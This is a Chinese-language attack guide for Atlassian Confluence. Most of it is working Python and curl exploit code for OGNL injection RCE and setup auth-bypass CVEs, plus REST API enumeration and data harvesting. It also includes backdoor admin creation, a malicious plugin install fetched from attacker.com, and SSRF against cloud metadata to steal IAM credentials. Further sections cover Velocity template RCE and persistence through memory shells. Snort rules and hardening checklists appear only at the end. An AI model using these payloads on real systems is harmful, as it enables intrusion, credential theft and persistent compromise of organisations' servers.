Atlassian Confluence OGNL 注入 认证绕过 REST API SSRF 利用技术

nmap -sV -p 80,443,8090 --script=http-title,http-headers <target>

curl -sI http://TARGET:8090/
# X-Confluence-Request-Time: ...
# X-Confluence-ConfluenceVersion: 7.11.5

# 通过 login 页面获取版本
curl -s http://TARGET:8090/login.action | grep -i "confluence.version"

# 通过 REST API 获取版本
curl -s http://TARGET:8090/rest/api/settings/systemInfo | python3 -m json.tool

/login.action                          # 登录页面
/signup.action                         # 注册页面
/dologin.action                        # 登录处理
/setup/                                # 初始安装向导
/setup/setupdata.action                # 安装数据配置
/rest/api/user                         # 用户信息 API
/rest/api/content                      # 内容 API
/rest/api/space                        # 空间 API
/rest/api/longtask                     # 长任务 API
/rest/plugins/1.0/                     # 插件管理 API
/admin/console.action                  # 管理控制台
/admin/users/browseusers.action        # 用户浏览
/pages/doenterpagevariables.action     # OGNL 注入入口点
/templates/                            # 模板渲染路径
/display/                              # 空间展示路径

import requests

def detect_confluence(host, port=8090):
    base_url = f"http://{host}:{port}"

    # 获取版本信息
    try:
        resp = requests.get(f"{base_url}/rest/api/settings/systemInfo", timeout=5)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("systemInfo", {}).get("version", "unknown")
            print(f"[+] Confluence Version: {version}")
    except:
        pass

    # 检查 setup 向导是否可用 (CVE-2023-22515)
    resp = requests.get(f"{base_url}/setup/setupdata.action", timeout=5,
                        allow_redirects=False)
    if resp.status_code == 200:
        print("[!] Setup wizard accessible — CVE-2023-22515 may be exploitable")

    # 检查 OGNL 注入入口
    resp = requests.get(f"{base_url}/pages/doenterpagevariables.action", timeout=5)
    if resp.status_code in [200, 405]:
        print("[+] OGNL injection endpoint exists")

    # 检查匿名访问
    resp = requests.get(f"{base_url}/rest/api/user?username=admin", timeout=5)
    if resp.status_code == 200:
        print("[+] Anonymous REST API access enabled")

detect_confluence("192.168.1.100")

# 通过模板路径注入 OGNL 表达式执行命令
# URL 编码的 ${...} 表达式
curl -v "http://TARGET:8090/templates/default/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"

import requests

def exploit_cve_2021_26084(host, port=8090, cmd="id"):
    base_url = f"http://{host}:{port}"

    # 方式一: 通过 doenterpagevariables.action POST 注入
    ognl_payload = (
        '${(#a=@org.apache.commons.io.IOUtils@toString('
        '@java.lang.Runtime@getRuntime().exec("' + cmd + '")'
        '.getInputStream(),"utf-8")).('
        '@com.opensymphony.webwork.ServletActionContext@getResponse()'
        '.setHeader("X-Cmd-Response",#a))}'
    )

    resp = requests.post(
        f"{base_url}/pages/doenterpagevariables.action",
        data={"pageTitle": ognl_payload},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10
    )

    # 命令执行结果在响应头 X-Cmd-Response 中
    cmd_result = resp.headers.get("X-Cmd-Response", "")
    if cmd_result:
        print(f"[+] RCE Output: {cmd_result}")
    else:
        print(f"[-] No output in response header (status: {resp.status_code})")

exploit_cve_2021_26084("192.168.1.100", cmd="whoami")

# 通过 URI 路径注入 — 最简形式
curl -v "http://TARGET:8090/%24%7B%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%7D"

# 解码后的 OGNL 表达式:
# ${#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}

import requests
import urllib.parse

def exploit_cve_2022_26134(host, port=8090, cmd="id"):
    base_url = f"http://{host}:{port}"

    ognl_expr = (
        '${#a=@org.apache.commons.io.IOUtils@toString('
        '@java.lang.Runtime@getRuntime().exec("' + cmd + '")'
        '.getInputStream(),"utf-8").'
        '(@com.opensymphony.webwork.ServletActionContext@getResponse()'
        '.setHeader("X-Cmd-Output",#a))}'
    )

    encoded_expr = urllib.parse.quote(ognl_expr)
    url = f"{base_url}/{encoded_expr}"

    resp = requests.get(url, timeout=10, allow_redirects=False)
    output = resp.headers.get("X-Cmd-Output", "")

    if output:
        print(f"[+] RCE Output: {output}")
    else:
        print(f"[*] Status: {resp.status_code} (blind exploitation)")

exploit_cve_2022_26134("192.168.1.100", cmd="cat /etc/passwd")

绕过技术:
1. 使用 @java.lang.Runtime@getRuntime() 的替代调用方式
2. 通过 ProcessBuilder 替代 Runtime.exec()
3. 利用 OGNL 的 #context 访问内部对象绕过过滤
4. 通过 Class.forName() 动态加载类绕过类名黑名单
5. 使用反射链调用绕过方法名过滤

# 使用 ProcessBuilder 替代 Runtime.exec()
ognl_processbuilder = (
    '${#pb=@java.lang.ProcessBuilder@java.lang.ProcessBuilder('
    '["/bin/bash","-c","' + cmd + '"]).start(),'
    '#s=@org.apache.commons.io.IOUtils@toString('
    '#pb.getInputStream(),"utf-8")}'
)

# 使用 Class.forName() 绕过类名黑名单
ognl_classforname = (
    '${#rt=@java.lang.Class@forName("java.lang.Runtime")'
    '.getMethod("getRuntime",null).invoke(null,null),'
    '#s=@org.apache.commons.io.IOUtils@toString('
    '#rt.exec("' + cmd + '").getInputStream(),"utf-8")}'
)

import requests

def exploit_cve_2023_22527(host, port=8090, cmd="id"):
    base_url = f"http://{host}:{port}"

    # 通过 setup 路径触发 OGNL 注入
    ognl_payload = (
        '${(#rt=@java.lang.Runtime@getRuntime()'
        '.exec("' + cmd + '").getInputStream(),'
        '#out=@org.apache.commons.io.IOUtils@toString(#rt,"utf-8"))'
        '.(@com.opensymphony.webwork.ServletActionContext@getResponse()'
        '.setHeader("X-Result",#out))}'
    )

    resp = requests.post(
        f"{base_url}/json/setup-restore.action",
        data={"filename": ognl_payload},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10
    )

    output = resp.headers.get("X-Result", "")
    print(f"[+] CVE-2023-22527 Output: {output}")

exploit_cve_2023_22527("192.168.1.100", cmd="whoami")

import requests

def exploit_cve_2023_22515(host, port=8090):
    base_url = f"http://{host}:{port}"

    # Step 1: 检查 setup 向导是否可访问
    resp = requests.get(f"{base_url}/setup/setupdata.action",
                        allow_redirects=False, timeout=5)
    if resp.status_code != 200:
        print(f"[-] Setup wizard not accessible: {resp.status_code}")
        return False
    print("[+] Setup wizard accessible")

    # Step 2: 提交 setup 请求创建管理员用户
    setup_data = {
        "username": "hacker_admin",
        "password": "P@ssw0rd123!",
        "confirm": "P@ssw0rd123!",
        "fullName": "System Administrator",
        "email": "admin@target.local"
    }

    resp = requests.post(
        f"{base_url}/setup/setupadministrator.action",
        data=setup_data,
        allow_redirects=False,
        timeout=10
    )

    if resp.status_code in [200, 302]:
        print("[+] Admin user created successfully!")
        print("[+] Credentials: hacker_admin / P@ssw0rd123!")
        return True
    else:
        print(f"[-] Setup failed: {resp.status_code}")
        return False

    # Step 3: 使用新管理员账户登录
    # POST /dologin.action
    # os_username=hacker_admin&os_password=P@ssw0rd123!&login=Log+In

exploit_cve_2023_22515("192.168.1.100")

# 通过 REST API 枚举用户
curl -s "http://TARGET:8090/rest/api/user?username=admin" | python3 -m json.tool

# 批量枚举
for user in admin webmaster sysadmin operator; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "http://TARGET:8090/rest/api/user?username=$user")
    echo "$user: $status"
done

# 通过 CQL 搜索用户
curl -s "http://TARGET:8090/rest/api/user/search?cql=user%20~%20\"admin*\"" | python3 -m json.tool

# 浏览所有用户 (匿名访问开启时)
curl -s "http://TARGET:8090/users/listusers.action?username=a&show=all" | grep -o 'username=[^&"]*'

# 获取所有空间列表
curl -s "http://TARGET:8090/rest/api/space?limit=100" | python3 -m json.tool

# 获取指定空间的所有内容
curl -s "http://TARGET:8090/rest/api/content?spaceKey=CONF&limit=100&expand=body.storage,version" | python3 -m json.tool

# 搜索敏感内容
curl -s "http://TARGET:8090/rest/api/content/search?cql=type=page%20AND%20text~\"password\"" | python3 -m json.tool

# 获取页面附件
curl -s "http://TARGET:8090/rest/api/content/{pageId}/child/attachment" | python3 -m json.tool

# 获取页面评论 (可能包含敏感信息)
curl -s "http://TARGET:8090/rest/api/content/{pageId}/child/comment" | python3 -m json.tool

# 获取系统信息 (版本、JVM、OS 等)
curl -s "http://TARGET:8090/rest/api/settings/systemInfo" | python3 -m json.tool

# 获取集群节点信息 (Data Center 部署)
curl -s "http://TARGET:8090/rest/api/cluster/nodes" | python3 -m json.tool

# 获取全局设置
curl -s "http://TARGET:8090/rest/api/settings/lookandfeel" | python3 -m json.tool

# 获取邮件服务器配置 (可能包含 SMTP 凭据)
curl -s -u admin:password "http://TARGET:8090/rest/api/admin/mail" | python3 -m json.tool

import requests

def abuse_admin_api(host, port=8090, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"
    auth = (username, password)

    # 创建后门管理员
    new_user = {
        "username": "backdoor_admin",
        "password": "B@ckd00r!",
        "fullName": "Backup Admin",
        "email": "backdoor@target.local"
    }
    resp = requests.post(f"{base_url}/rest/api/admin/users",
                         json=new_user, auth=auth, timeout=10)
    print(f"[*] Create user: {resp.status_code}")

    # 导出所有用户信息
    resp = requests.get(f"{base_url}/rest/api/admin/users?limit=1000",
                        auth=auth, timeout=10)
    if resp.status_code == 200:
        users = resp.json()
        print(f"[+] Found {len(users.get('results', []))} users")

    # 安装恶意插件
    plugin_data = {
        "pluginUri": "http://attacker.com:8888/malicious-plugin-1.0.jar"
    }
    resp = requests.post(f"{base_url}/rest/plugins/1.0/",
                         json=plugin_data, auth=auth,
                         headers={"Content-Type": "application/vnd.atl.plugins.remote.install+json"},
                         timeout=30)
    print(f"[*] Plugin install: {resp.status_code}")

abuse_admin_api("192.168.1.100")

import requests

def exploit_ssrf_widget(host, port=8090, space_key="TEST",
                         ssrf_url="http://169.254.169.254/latest/meta-data/"):
    base_url = f"http://{host}:{port}"

    # 创建包含 SSRF 宏的页面
    page_data = {
        "type": "page",
        "title": "SSRF Test Page",
        "space": {"key": space_key},
        "body": {
            "storage": {
                "value": (
                    '<ac:structured-macro ac:name="widgetconnector">'
                    '<ac:parameter ac:name="url">' + ssrf_url + '</ac:parameter>'
                    '</ac:structured-macro>'
                ),
                "representation": "storage"
            }
        }
    }

    resp = requests.post(
        f"{base_url}/rest/api/content",
        json=page_data,
        headers={"Content-Type": "application/json"},
        timeout=15
    )

    if resp.status_code == 200:
        page_id = resp.json().get("id")
        print(f"[+] SSRF page created (ID: {page_id})")
        print(f"[*] View page: {base_url}/pages/viewpage.action?pageId={page_id}")

# 云元数据窃取
exploit_ssrf_widget("192.168.1.100",
                     ssrf_url="http://169.254.169.254/latest/meta-data/iam/security-credentials/")

# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 获取临时 IAM 角色凭据 → 完全控制 AWS 账户

# GCP Metadata
http://metadata.google.internal/computeMetadata/v1/
→ 获取服务账户 Token

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
→ 获取 VM 元数据和管理身份 Token

# 通过 SSRF 探测内网服务
internal_targets = [
    "http://192.168.1.1:8080/",       # 内部 Jenkins
    "http://192.168.1.1:3306/",       # MySQL
    "http://192.168.1.1:6379/",       # Redis
    "http://10.0.0.1:9200/",          # Elasticsearch
    "http://10.0.0.1:8500/",          # Consul
    "http://10.0.0.1:2379/",          # etcd
    "http://internal-api.company.local/",  # 内部 API
]

for target in internal_targets:
    exploit_ssrf_widget("192.168.1.100", ssrf_url=target)

#set($s="")
#set($runtime=$s.class.forName("java.lang.Runtime"))
#set($rt=$runtime.getMethod("getRuntime",null).invoke(null,null))
#set($exec=$rt.exec("id"))
#set($is=$exec.getInputStream())
#set($scanner=$s.class.forName("java.util.Scanner").getConstructor($is.getClass()).newInstance($is))
#set($out=$scanner.useDelimiter("\\A").next())
$out

import requests

def inject_velocity_template(host, port=8090, cmd="id",
                              username="admin", password="admin"):
    base_url = f"http://{host}:{port}"

    # 创建包含恶意 Velocity 代码的页面模板
    template_data = {
        "templateId": {"templateName": "malicious-template"},
        "name": "System Template",
        "templateKey": "confluence:malicious",
        "body": {
            "storage": {
                "value": (
                    '#set($rt=$content.class.forName("java.lang.Runtime")'
                    '.getMethod("getRuntime",null).invoke(null,null))'
                    '#set($out=$rt.exec("' + cmd + '").getInputStream())'
                    '#set($s=$content.class.forName("java.util.Scanner")'
                    '.getConstructor($out.getClass()).newInstance($out))'
                    '$s.useDelimiter("\\\\A").next()'
                ),
                "representation": "storage"
            }
        }
    }

    resp = requests.post(
        f"{base_url}/rest/api/template",
        json=template_data,
        auth=(username, password),
        headers={"Content-Type": "application/json"},
        timeout=15
    )

    print(f"[*] Template injection status: {resp.status_code}")
    if resp.status_code == 200:
        print(f"[+] Malicious template created — use it to trigger RCE")

inject_velocity_template("192.168.1.100", cmd="whoami")

攻击链:
1. CVE-2023-22515 → 获取管理员权限
2. 注入恶意 Velocity 代码到全局邮件模板
3. 当任何用户触发邮件通知时 (如页面更新、评论)
4. 模板渲染触发 RCE
5. 持久后门 — 即使修改密码也无法清除

# 通过 UPM (Universal Plugin Manager) 安装恶意插件
curl -X POST "http://TARGET:8090/rest/plugins/1.0/" \
  -u admin:admin \
  -H "Content-Type: application/vnd.atl.plugins.remote.install+json" \
  -d '{"pluginUri":"http://attacker.com:8888/malicious-plugin-1.0.jar"}'

# 恶意插件可以包含:
# - Java Servlet (反弹 Shell)
# - OGNL Webshell
# - 通过插件生命周期钩子实现持久化

# 如果插件通过 Velocity 渲染用户可控内容:
#set($runtime = $content.class.forName("java.lang.Runtime"))
#set($rt = $runtime.getMethod("getRuntime", null).invoke(null, null))
#set($proc = $rt.exec("id"))
#set($out = $content.class.forName("org.apache.commons.io.IOUtils"))
$out.toString($proc.getInputStream(), "utf-8")

# 通过 OGNL RCE 注入 Filter 内存马
# 核心思路: 通过 OGNL 表达式获取 ServletContext，注册恶意 Filter

ognl_memory_shell = """
#context=@com.opensymphony.webwork.ServletActionContext@getContext(),
#servletContext=#context.getServletContext(),
#filterManager=#servletContext.getAttribute("com.atlassian.confluence.servlet.FilterManager"),
# 通过反射注册恶意 Filter 到所有请求路径
"""

# 建议使用 Godzilla/Behinder 等成熟框架的 Confluence 专用内存马模块
# 注入后通过特定请求头/参数触发命令执行

持久化方式:
1. Filter/Servlet 内存马 — 无文件，重启消失
2. 恶意插件安装 — 持久化，重启后自动加载
3. 邮件模板后门 — 隐蔽，触发式执行
4. Webshell 写入 — 写入 Confluence Web 目录
5. Crontab/Systemd — 系统级持久化

CVE-2023-22515 (Setup 认证绕过)
    ↓ 创建管理员账户
CVE-2023-22527 (OGNL 注入 RCE)
    ↓ 执行任意命令
内存马/恶意插件 → 持久化

SSRF via Widget Connector
    ↓ 访问云元数据服务
窃取 IAM 临时凭据
    ↓ 完全控制云账户
横向移动至 S3/RDS/EC2

REST API 用户枚举
    ↓ 获取有效用户名列表
凭据填充/密码喷洒
    ↓ 获取低权限用户访问
CVE-2023-22515 提权
    ↓ 升级为管理员
完整系统控制

# OGNL 注入特征
alert tcp any any -> any 8090 (msg:"Confluence OGNL Injection"; content:"${"; content:"Runtime"; nocase; sid:3000001;)
alert tcp any any -> any 8090 (msg:"Confluence OGNL ProcessBuilder"; content:"ProcessBuilder"; nocase; sid:3000002;)
alert tcp any any -> any 8090 (msg:"Confluence OGNL IOUtils"; content:"IOUtils"; content:"toString"; nocase; sid:3000003;)

# Setup 向导异常访问
alert tcp any any -> any 8090 (msg:"Confluence Setup Access"; content:"/setup/setupdata"; nocase; sid:3000004;)
alert tcp any any -> any 8090 (msg:"Confluence Setup Admin"; content:"/setup/setupadministrator"; content:"POST"; nocase; sid:3000005;)

# OGNL 变量入口
alert tcp any any -> any 8090 (msg:"Confluence OGNL Endpoint"; content:"doenterpagevariables"; nocase; sid:3000006;)

# SSRF 云元数据探测
alert tcp any any -> any 8090 (msg:"SSRF Cloud Metadata"; content:"169.254.169.254"; sid:3000007;)

# 检查 OGNL 注入攻击
grep -i "Runtime\|ProcessBuilder\|IOUtils\|getRuntime" access.log
grep "doenterpagevariables" access.log
grep "%24%7B" access.log  # URL 编码的 ${

# 检查 Setup 向导滥用
grep "/setup/" access.log | grep -v "internal_ip"

# 检查 REST API 异常
grep "/rest/api/user?username=" access.log | sort | uniq -c | sort -rn
grep "/rest/api/content?spaceKey=" access.log

# 检查 SSRF 尝试
grep "169.254.169.254" access.log
grep "metadata.google.internal" access.log

# 检查异常插件安装
grep "/rest/plugins/" access.log | grep "POST"

# 检查 Velocity 模板注入
grep -i "class.forName\|getMethod\|invoke" access.log

[ ] 确认 Confluence 版本与已安装补丁
    - 管理控制台 → 系统信息
    - 对比 Atlassian 安全公告

[ ] 检查 OGNL 注入攻击痕迹
    - 搜索 access.log 中的 ${ 和 %24%7B
    - 检查 doenterpagevariables 访问记录
    - 检查模板路径中的异常请求

[ ] 检查 Setup 向导滥用
    - 搜索 /setup/ 路径的访问记录
    - 检查是否有异常管理员账户创建
    - 审查管理员用户列表

[ ] 排查 SSRF 攻击
    - 搜索 169.254.169.254 访问
    - 检查 Widget Connector 宏的使用记录
    - 审查新建页面中的外部 URL 引用

[ ] 检查内存马与持久化
    - 使用 Arthas 检查异常 Filter/Servlet
    - 审查已安装插件列表
    - 检查邮件模板是否被篡改

[ ] 网络隔离与补丁修复
    - 应用 Atlassian 最新安全补丁
    - 禁用匿名访问 (如不需要)
    - 限制 Confluence 为内网访问
    - 部署 WAF 配置 OGNL 注入规则

[ ] Confluence 版本为最新稳定版，已应用所有安全补丁
[ ] Setup 向导在生产环境中已禁用
[ ] 匿名访问已关闭或严格限制
[ ] REST API 访问需要认证
[ ] 部署 WAF 并配置 OGNL 注入检测规则
[ ] 监控管理员账户创建/修改事件
[ ] 定期审查已安装插件，移除不必要的第三方插件
[ ] SSRF 防护: 禁止 Widget/RSS 宏访问内网地址和云元数据
[ ] 邮件服务器凭据加密存储
[ ] 配置 access.log 远程收集与实时告警
[ ] 启用 Confluence Audit Logging 记录所有管理操作
[ ] 定期检查 Velocity 模板是否被篡改
[ ] 限制 Confluence 服务器的出站网络访问